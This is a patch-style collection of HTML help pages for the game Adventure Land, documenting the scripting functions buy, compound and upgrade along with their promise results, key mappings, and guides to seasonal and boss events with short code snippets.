buy("hpot0",100);
|
||||
|
||||
buy("coat").then(function(data){
|
||||
game_log("Got a new coat at the "+data.num+"th inventory slot!");
|
||||
});
|
||||
|
||||
buy("shoes").then(
|
||||
function(data){
|
||||
game_log("New shoes!");
|
||||
},
|
||||
function(data){
|
||||
game_log("Can't buy shoes :(");
|
||||
},
|
||||
);
|
||||
</div>
|
||||
|
||||
<p>Promise Reference:</p>
|
||||
|
||||
<span class='dlabel'>"resolve"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "coat",
|
||||
num: 0, // Inventory slot 0
|
||||
q: 1, // Quantity
|
||||
cost: 6000, // Gold spent
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"reject"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "distance", // Too far away from an NPC
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "not_buyable", // Can't buy this from an NPC
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "space", // No inventory space
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "cost", // Don't have enough gold
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "bank", // If operation isn't allowed inside
|
||||
}
|
||||
</div>
|
||||
|
||||
<p></p>
|
||||
<span class='redlabel'>"source"</span>
|
||||
@@ -0,0 +1,130 @@
|
||||
<p>
|
||||
Arguments:
|
||||
<div> <b>*</b> Integer - Inventory index of the first item [0 to 41]</div>
|
||||
<div> <b>*</b> Integer - Inventory index of the second item [0 to 41]</div>
|
||||
<div> <b>*</b> Integer - Inventory index of the third item [0 to 41]</div>
|
||||
<div> <b>*</b> Integer - Inventory index of the scroll [0 to 41]</div>
|
||||
<div> <b>*</b> Integer - (Optional) Inventory index of the offering [0 to 41]</div>
|
||||
</p>
|
||||
<p>
|
||||
Returns:
|
||||
<div> <b>*</b> Promise</div>
|
||||
</p>
|
||||
|
||||
<!-- <p>Current inventory with indexes: <br/><span class="xlabel" onclick="code_eval($(this).html())">show_json([Array(42).keys()].reduce(function(map,i){ map[i]=character.items[i]; return map; },{}))</span></p> -->
|
||||
|
||||
<p>Example usages:</p>
|
||||
|
||||
<div class='code'>
|
||||
compound(0,1,2,3); // Combines the first 3 items in your inventory [0,1,2] using the scroll in the 4th slot [3]
|
||||
|
||||
compound(0,1,2,3,4); // A primordial essence in the 5th slot[4]
|
||||
|
||||
if(character.q.compound) log("Already combining something!");
|
||||
|
||||
compound(0,1,2,locate_item("cscroll0")).then(function(data){
|
||||
if(data.success) game_log("I have a +"+data.level+" accessory now!");
|
||||
else game_log("Rip accessories, you'll be missed.");
|
||||
});
|
||||
|
||||
compound(0,1,2,locate_item("cscroll0")).then(
|
||||
function(data){
|
||||
game_log("Compound call completed");
|
||||
log(data);
|
||||
},
|
||||
function(data){
|
||||
game_log("Compound call failed with reason: "+data.reason);
|
||||
},
|
||||
);
|
||||
</div>
|
||||
|
||||
<p>Promise Reference:</p>
|
||||
|
||||
<span class='dlabel'>"resolve"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
success: true,
|
||||
level: 2,
|
||||
num: 16, // Inventory index
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
success: false, // Compound failed
|
||||
failed: true,
|
||||
level: 2,
|
||||
num: 16,
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"reject"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "max_level", // Item reached it's max level
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "scroll", // Incompatible scroll
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "locked", // Item locked
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "in_progress", // Another compound in progress
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "no_item", // Inventory index issues
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "no_scroll", // There's no scroll on that inventory index
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "not_combinable", // Items are not combinable
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "mismatch", // Items are not the same
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "offering", // Invalid offering
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "bank", // If operation isn't allowed inside
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "exception", // Possible server exception
|
||||
}
|
||||
</div>
|
||||
|
||||
<p></p>
|
||||
<span class='redlabel'>"source"</span>
|
||||
@@ -0,0 +1,139 @@
|
||||
<p>
|
||||
Arguments:
|
||||
<div> <b>*</b> Integer - Inventory index of the item [0 to 41]</div>
|
||||
<div> <b>*</b> Integer - Inventory index of the scroll [0 to 41]</div>
|
||||
<div> <b>*</b> Integer - (Optional) Inventory index of the offering [0 to 41]</div>
|
||||
</p>
|
||||
<p>
|
||||
Returns:
|
||||
<div> <b>*</b> Promise</div>
|
||||
</p>
|
||||
|
||||
<!-- <p>Current inventory with indexes: <br/><span class="xlabel" onclick="code_eval($(this).html())">show_json([Array(42).keys()].reduce(function(map,i){ map[i]=character.items[i]; return map; },{}))</span></p> -->
|
||||
|
||||
<p>Example usages:</p>
|
||||
|
||||
<div class='code'>
|
||||
upgrade(0,1); // Item is in the first slot[0], scroll is in the second[1]
|
||||
|
||||
upgrade(0,1,2); // A primordial essence in the 3rd slot[2]
|
||||
|
||||
if(character.q.upgrade) log("Already upgrading something!");
|
||||
|
||||
upgrade(locate_item("coat"),locate_item("scroll0")).then(function(data){
|
||||
if(data.success) game_log("I have a +"+data.level+" coat now!");
|
||||
else game_log("Rip coat, you'll be missed.");
|
||||
});
|
||||
|
||||
upgrade(locate_item("shoes"),locate_item("scroll0")).then(
|
||||
function(data){
|
||||
game_log("Upgrade call completed");
|
||||
},
|
||||
function(data){
|
||||
game_log("Upgrade call failed with reason: "+data.reason);
|
||||
},
|
||||
);
|
||||
</div>
|
||||
|
||||
<p>Promise Reference:</p>
|
||||
|
||||
<span class='dlabel'>"resolve"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
success: true,
|
||||
level: 7,
|
||||
num: 37,
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
success: false, // Upgrade failed
|
||||
level: 7,
|
||||
num: 37,
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
success: true,
|
||||
stat: true,
|
||||
stat_type: "str",
|
||||
num: 41,
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 10px'></div>
|
||||
|
||||
<span class='dlabel'>"reject"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "max_level", // Item reached it's max level
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "scroll", // Incompatible scroll
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "scroll_quantity", // Not enough scrolls
|
||||
need: 100,
|
||||
have: 24,
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "locked", // Item locked
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "no_item", // There's no item on that inventory index
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "no_scroll", // There's no scroll on that inventory index
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "not_upgradeable", // Item not upgradeable
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
// If you send 2+ upgrade calls simultaneously
|
||||
// The consecutive ones will likely fail with this rejection
|
||||
reason: "mismatch", // Item details don't match the upgrade call
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "offering", // Invalid offering
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "bank", // If operation isn't allowed inside
|
||||
}
|
||||
</div>
|
||||
<div style='margin-bottom: 1px'></div>
|
||||
<div class='code'>
|
||||
{
|
||||
reason: "exception", // Possible server exception
|
||||
}
|
||||
</div>
|
||||
|
||||
<p></p>
|
||||
<span class='redlabel'>"source"</span>
|
||||
@@ -0,0 +1 @@
|
||||
<p>Work in progress, returned Promise's aren't resolved yet!</p>
|
||||
@@ -0,0 +1,65 @@
|
||||
<div class="title" style='margin-bottom: 10px'>Key Mappings</div> <div class="mb5"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Mouse Left Click</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style="border-color: #4AB48E">Move</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style="border-color: #11A3B9">Target</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Mouse Right Click</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style="border-color: #B61B00">Attack</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style="border-color: #D6723D">Interact</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style="border-color: #0B86CB">Equip</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style="border-color: #6C2B65">Enter</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Keyboard 1</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Heal</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Use HP Potion</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Keyboard 2</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Mana</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Use MP Potion</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Keyboard I</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Inventory</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Keyboard C</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Target Your Character</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Keyboard T</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Auto Travel</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Keyboard F</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Activate Nearest NPC/Door</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Keyboard R</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Use Main Skill</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Keyboard N</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Show Names [Toggle]</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Keyboard \</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Toggle CODE</div> <div class="mb2"></div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5" style='background-color: #58595B'>Keyboard ESC</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Close</div>
|
||||
<div class="gamebutton gamebutton-small mr5 mt5">Dismiss</div> <div class="mb2"></div>
|
||||
|
||||
<div><span style="color: #CB6B2A">Note:</span> You can map or remap any key from the <div class='gamebutton gamebutton-small' onclick="btc(event); if(character){ hide_modal(); render_skills(); }">SKILLS</div> system. The SKILLS and remapping have a separate guide.</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Items | Inventory</div> <div class="mb5"></div>
|
||||
<p><span style="color: #909292">></span> Right click to equip and un-equip items. You can drag items within your inventory. When a merchant NPC is active, right click the item to see the item value and sell the item.</p>
|
||||
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Targeting | Top Left Corner</div> <div class="mb5"></div>
|
||||
<p><span style="color: #909292">></span> Left click to target monsters and players. Press the character name between HP and MP bars to target yourself. You can see the properties/items of the targeted entity. You can only target one entity at a time.</p>
|
||||
<div style='padding: 0px; border: 4px solid #2B5B89; display: inline-block; font-size: 0px'><img src="http://lh3.googleusercontent.com/HZI8xM8UQ-VTTiz9I1WAC7wQy9cPHbeNQ11PuQK0kbydWEF7Rmc9NJYcsHYb82PXJiTDzAF1BAk9Fk28PT1iglsUOUlnGpbN=s400" style='height: 100px'/></div>
|
||||
<div style='padding: 0px; border: 4px solid #2B5B89; display: inline-block; font-size: 0px'><img src="http://lh3.googleusercontent.com/oSB2aD44TMMup4cV_O-iXFj0iQ6zE70gPGSTLkYIrL1yWUkjog1GZLSTfmJ5WmwZyT3FkkoYNkWSqMOuqyIfsXT2R3MTYVJ_=s400" style='height: 100px'/></div>
|
||||
<div style='padding: 0px; border: 4px solid #2B5B89; display: inline-block; font-size: 0px'><img src="http://lh3.googleusercontent.com/g2wTE8fuzg7KzUmqzPAjsrP9fS7b4I7vLK_p1Nqa7_jgTAOUVfZNz05qafUoFaiQqno85dw2vTsQfpMIL5gsrGOcw9KeFSLvkQ=s400" style='height: 100px'/></div>
|
||||
<div class="divider"></div>
|
||||
<div class="title mt15">Bank</div> <div class="mb5"></div>
|
||||
<p><span style="color: #909292">></span> The Bank is for storing items and gold. The Bank is shared across all your characters!</p>
|
||||
<div style='padding: 0px; border: 4px solid #2B5B89; display: inline-block; font-size: 0px'><img src="http://lh3.googleusercontent.com/c69Ijb6nu4wOfCD5m3yGKbp6-CYCdbkMdqpKuecH7F9oXBFYDcyDopmspOCo2uTL1AO7npbO5dAoPfIHXn_Y19Ev41AURBc=s800" style='height: 200px'/></div>
|
||||
|
||||
|
||||
<style>
|
||||
.title{
|
||||
color: #406944;
|
||||
font-size: 36px;
|
||||
margin-top: 15px;
|
||||
}
|
||||
.divider{
|
||||
margin-top: 15px;
|
||||
height: 5px;
|
||||
background-color: gray;
|
||||
margin-left: -26px;
|
||||
margin-right: -26px;
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,22 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A'>The Crypt [Dungeon]</p>
|
||||
|
||||
<p>
|
||||
<div style='float:left; margin-right: 20px'><span class='eitem1'></span></div> You need the Crypt Key to enter the instanced crypt dungeon, once a party member has unlocked the dungeon, other party members will be able to directly enter. <br />
|
||||
</p>
|
||||
|
||||
<p><span class='hlabel'>Note:</span> Instances are only alive as long as there's someone inside and online!</p>
|
||||
|
||||
<div class='code'>
|
||||
enter("crypt");
|
||||
// To unlock using a key
|
||||
|
||||
enter("crypt",player.in);
|
||||
// To enter an already unlocked dungeon
|
||||
</div>
|
||||
|
||||
|
||||
<script>
|
||||
$(".eitem1").html(item_container({skin:G.items.cryptkey.skin},{name:"cryptkey",q:0}));
|
||||
</script>
|
||||
</div>
|
||||
@@ -0,0 +1,42 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A'>Lair of the Dark Mage [Dungeon]</p>
|
||||
|
||||
<p>
|
||||
<div style='float:left; margin-right: 20px'><span class='eitem1'></span></div> You need the Frozen Key to enter the instanced dungeon, once a party member has unlocked the dungeon, other party members will be able to directly enter. <br />
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='spxmagefz'></span> First phase has a random Freeze Burst every 6 seconds that freezes the opponent for 12 seconds! <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.monsters.xmagefz</span>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='spxmagefi'></span> Second stage has Anger / random targeting and the Multi Burn skill that hurls a burning fireball to everyone! <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.monsters.xmagefi</span>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='spxmagen'></span> Third stage has Tangle, Reflection and Self Healing. <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.monsters.xmagen</span>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='spxmagex'></span> The last stage has 12,640 damage, Immunity, Anger and Warp/Stomp! <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.monsters.xmagex</span>
|
||||
</p>
|
||||
|
||||
<p><span class='hlabel'>Note:</span> Instances are only alive as long as there's someone inside and online!</p>
|
||||
|
||||
<div class='code'>
|
||||
enter("winter_instance");
|
||||
// To unlock using a key
|
||||
|
||||
enter("winter_instance",player.in);
|
||||
// To enter an already unlocked dungeon
|
||||
</div>
|
||||
|
||||
|
||||
<script>
|
||||
$(".eitem1").html(item_container({skin:G.items.frozenkey.skin},{name:"frozenkey",q:0}));
|
||||
$(".spxmagefz").html(sprite("xmagefz"));
|
||||
$(".spxmagefi").html(sprite("xmagefi"));
|
||||
$(".spxmagen").html(sprite("xmagen"));
|
||||
$(".spxmagex").html(sprite("xmagex"));
|
||||
</script>
|
||||
</div>
|
||||
@@ -0,0 +1,34 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #8A203A; text-decoration: underline dotted #B30B1A'>A/B Testing PVP Event</p>
|
||||
|
||||
<p>
|
||||
<span class='sphelmet'></span> <span class='sphelmet'></span> In A/B Testing players are divided into 2 groups to fight. Winning team gets better rewards!
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='dlabel'>character.team</span> is either <span class='dlabel'>"A"</span> or <span class='dlabel'>"B"</span> for all participants. The PVP is safe. Unlike other events, at the end of the event, each character is placed back to where they were taken from. In the event of a character reload, you're placed in Mainland. You can only signup in the first 2 minutes, yet you can rejoin to the same team later on if you end up disconnecting.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
1000 kills get you the <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.achievements.abtesting</span> achievement and the <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.titles.abtesting</span> title on your orb! You can see the winner drops at: <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.drops.abtesting</span> and loser drops at: <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.drops.abtesting_loser</span>
|
||||
</p>
|
||||
|
||||
|
||||
<div style='margin-bottom: 24x'></div>
|
||||
|
||||
<div class='gamebutton' onclick="btc(event); join('abtesting'); hide_modal();">Join the Event!</div>
|
||||
|
||||
|
||||
<script>
|
||||
$(".sphelmet").html(sprite("thehelmet",{width:50,height:88,scale:3}));
|
||||
</script>
|
||||
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A; margin-bottom: 10px'>Snippets</p>
|
||||
|
||||
<div class='code'>
|
||||
if(parent.S.abtesting && character.map!="abtesting")
|
||||
join('abtesting');
|
||||
// Takes you there
|
||||
</div>
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,29 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #8A203A; text-decoration: underline dotted #B30B1A'>Giga Crab Beach Event</p>
|
||||
|
||||
<p>
|
||||
<span class='spcrabxx'></span> Giga Crab is a challenging server event boss. As long as there are Huge Crabs around, Giga Crab only receives one damage! The entire server needs to get together to continually clear all the Huge Crabs that spawn. The event lasts 40 minutes but as long as Giga Crab is being engaged, the event goes on!
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Giga Crab's ID is <span class='dlabel'>"crabxx"</span> - It spawns regular Huge Crab's <span class='dlabel'>"crabx"</span>
|
||||
</p>
|
||||
|
||||
|
||||
<div style='margin-bottom: 24x'></div>
|
||||
|
||||
<div class='gamebutton' onclick="btc(event); join('crabxx'); hide_modal();">Join the Event!</div>
|
||||
|
||||
<script>
|
||||
$(".spcrabxx").html(sprite("crabxx",{width:120,height:75,scale:3}));
|
||||
</script>
|
||||
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A; margin-bottom: 10px'>Snippets</p>
|
||||
|
||||
<div class='code'>
|
||||
if(parent.S.crabxx && !get_nearest_monster({type:'crabxx'}))
|
||||
join('crabxx');
|
||||
// Takes you there
|
||||
</div>
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,54 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A'>Egg Hunt on Adventure Land</p>
|
||||
|
||||
<p>
|
||||
<div><div style='float:left; margin-right: 10px'><span class='eitemxbox'></span></div> Collect all 9 and craft the basket, then exchange it from Xyn for something special!</div>
|
||||
<div style='margin-top: 10px'><span class='eitemx0'></span> <span class='eitemx1'></span> <span class='eitemx2'></span> <span class='eitemx3'></span> <span class='eitemx4'></span> <span class='eitemx5'></span> <span class='eitemx6'></span> <span class='eitemx7'></span> <span class='eitemx8'></span></div>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Collect 4 pieces of the Bunny attire to complete the set and unlock the set bonuses!
|
||||
<div style='margin-top: -12px'><span class='eitemh0'></span> <span class='eitemh1'></span> <span class='eitemh2'></span> <span class='eitemh3'></span> <span class='eitemh4'></span> <span class='eitemh5'></span></div>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='spsnowman'></span> Wabbit spawns hourly on a random map and inside a random monster pack. It's super hard to kill for 5 minutes, which should give you enough time to join the fight!
|
||||
<div style='margin-top: 5px'><div style='float:left; margin-right: 10px'><span class='ibuff'></span></div> Each time you defeat the Wabbit, you get a 100% Luck buff for 24 hours!</div>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='spjayson'></span> The crafting NPC is near the Goo's in Mainland.
|
||||
</p>
|
||||
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A; margin-bottom: 10px'>Snippets</p>
|
||||
|
||||
<div class='code'>
|
||||
game.on("event",function(data){
|
||||
if(data.name=="wabbit")
|
||||
{
|
||||
smart_move(data);
|
||||
// Data includes only the "map"
|
||||
// It's up to you to visit all the possible monster spawns
|
||||
}
|
||||
});
|
||||
|
||||
auto_craft("basketofeggs");
|
||||
|
||||
// character.s.easterluck <- is the buff
|
||||
</div>
|
||||
|
||||
<div style='margin-bottom: 24x'></div>
|
||||
|
||||
|
||||
<script>
|
||||
$(".eitem1").html(item_container({skin:G.items.basketofeggs.skin},{name:"basketofeggs",q:0}));
|
||||
for(var i=0;i<9;i++)
|
||||
$(".eitemx"+i).html(item_container({skin:G.items['egg'+i].skin},{name:'egg'+i,q:0}));
|
||||
for(var i=0;i<6;i++)
|
||||
$(".eitemh"+i).html(item_container({skin:G.items[G.sets.easter.items[i]].skin},{name:G.sets.easter.items[i],level:0}));
|
||||
$(".eitemxbox").html(item_container({skin:G.items.basketofeggs.skin},{name:"basketofeggs",q:0}));
|
||||
$(".ibuff").html(item_container({skin:"easterluck"}));
|
||||
$(".spsnowman").html(sprite("wabbit"));
|
||||
$(".spjayson").html(sprite("npcc"));
|
||||
</script>
|
||||
</div>
|
||||
@@ -0,0 +1,26 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #B6A9FF; text-decoration: underline dotted #C7C7B3'>Franky Event</p>
|
||||
|
||||
<p>
|
||||
<span class='spfranky'></span> <span class='spmummy'></span> Franky is a challenging server event boss. He spawns Nerfed Mummy's that are very hard to defeat. A good way to die. The event lasts 40 minutes but as long as Franky is attacked in the last 20 seconds, the event will go on.
|
||||
</p>
|
||||
|
||||
|
||||
<div style='margin-bottom: 24x'></div>
|
||||
|
||||
<div class='gamebutton' onclick="btc(event); join('franky'); hide_modal();">Join the Event!</div>
|
||||
|
||||
<script>
|
||||
$(".spfranky").html(sprite("franky",{width:70,height:90,scale:3}));
|
||||
$(".spmummy").html(sprite("mummy",{width:70,height:90,scale:3}));
|
||||
</script>
|
||||
<span class="oncreate" onclick="$('.imodal:last').children().css('background','#2B2D4E').css('color','#BBBABF')"></span>
|
||||
<p style='font-size: 32px; color: #B6A9FF; text-decoration: underline dotted #C7C7B3; margin-bottom: 10px'>Snippets</p>
|
||||
|
||||
<div class='code'>
|
||||
if(parent.S.franky && !get_nearest_monster({type:'franky'}))
|
||||
join('franky');
|
||||
// Takes you there
|
||||
</div>
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,33 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #8A203A; text-decoration: underline dotted #B30B1A'>Goo Brawl Event</p>
|
||||
|
||||
<p>
|
||||
<span class='spgoo'></span> Goo Brawl features a Zen island where you can smash funky cooperative Goo's in peace and Goo's have a chance to drop Fun Token's!
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='sprgoo'></span> A very rare Rainbow Goo occasionally spawns too! Has different drops and achievements!
|
||||
</p>
|
||||
|
||||
|
||||
<div style='margin-bottom: 24x'></div>
|
||||
|
||||
<div class='gamebutton' onclick="btc(event); join('goobrawl'); hide_modal();">Join the Event!</div>
|
||||
|
||||
|
||||
<script>
|
||||
$(".spgoo").html(sprite("goo4",{width:65,height:65,scale:2}));
|
||||
$(".sprgoo").html(sprite("rgoo",{width:65,height:65,scale:2}));
|
||||
</script>
|
||||
|
||||
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A; margin-bottom: 10px'>Snippets</p>
|
||||
|
||||
<div class='code'>
|
||||
if(parent.S.goobrawl && character.map!="goobrawl")
|
||||
join('goobrawl'); // Takes you there
|
||||
// Regular goo's have "goo" ID's - they are buffed up
|
||||
// Rainbow goo is "rgoo"
|
||||
</div>
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,40 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #404086; text-decoration: underline dotted #F1832F'>Halloween on Adventure Land</p>
|
||||
|
||||
<p>
|
||||
<div style='float:left; margin-right: 10px'><span class='spexchange'></span> <span class='eitem1'></span> <span class='eitem2'></span> </div> During the Halloween season, all monsters drop candies that you can exchange for random items from Xyn! <br />
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<span class='spmrgreen'></span> <span class='spmrpumpkin'></span> Participate in the co-op bossfights for the drops and the Halloween buff.
|
||||
</p>
|
||||
<p>
|
||||
<span class='spgreenjr'></span> <span class='spjr'></span> Try to catch and defeat the junior bosses whenever they spawn and be careful about the elusive Slenderman!
|
||||
</p>
|
||||
|
||||
<p>
|
||||
There are so so many items special for Halloween that are hard to get any other time!
|
||||
<div style='margin-top:-10px'> <span class='hitems'></span>
|
||||
</p>
|
||||
|
||||
<div style='margin-bottom: 24x'></div>
|
||||
|
||||
|
||||
<script>
|
||||
$(".eitem1").html(item_container({skin:G.items.candy0.skin},{name:"candy0",q:0}));
|
||||
$(".eitem2").html(item_container({skin:G.items.candy1.skin},{name:"candy1",q:0}));
|
||||
|
||||
["spookyamulet","gbow","lantern","broom","sbelt","cxjar","skullamulet","hdagger","ololipop","glolipop","vblood","talkingskull","jacko","gphelmet","pumpkinspice","swirlipop","greenbomb","oozingterror","pmaceofthedead","phelmet"].forEach(function(i){
|
||||
$(".hitems").append(item_container({skin:G.items[i].skin},{name:[i],q:0}));
|
||||
})
|
||||
|
||||
|
||||
$(".spexchange").html(sprite("magic",{width:42}));
|
||||
|
||||
$(".spmrgreen").html(sprite("mrgreen"));
|
||||
$(".spmrpumpkin").html(sprite("mrpumpkin"));
|
||||
|
||||
$(".spgreenjr").html(sprite("greenjr"));
|
||||
$(".spjr").html(sprite("jr"));
|
||||
</script>
|
||||
</div>
|
||||
@@ -0,0 +1,100 @@
|
||||
<div style='width: 600px'>
|
||||
<p style='font-size: 32px; color: #216D25; text-decoration: underline dotted #B30B1A'>Holiday Season on Adventure Land</p>
|
||||
|
||||
<p>
|
||||
<div style='float:left; margin-right: 10px'><span class='eitem1'></span> <span class='eitem2'></span> <span class='eitem3'></span></div> All New Years drops are global. You can exchange them by finding the right NPC's in Winterland. <br />
|
||||
<span class='spjayson'></span> Jayson is easy to find. <br />
|
||||
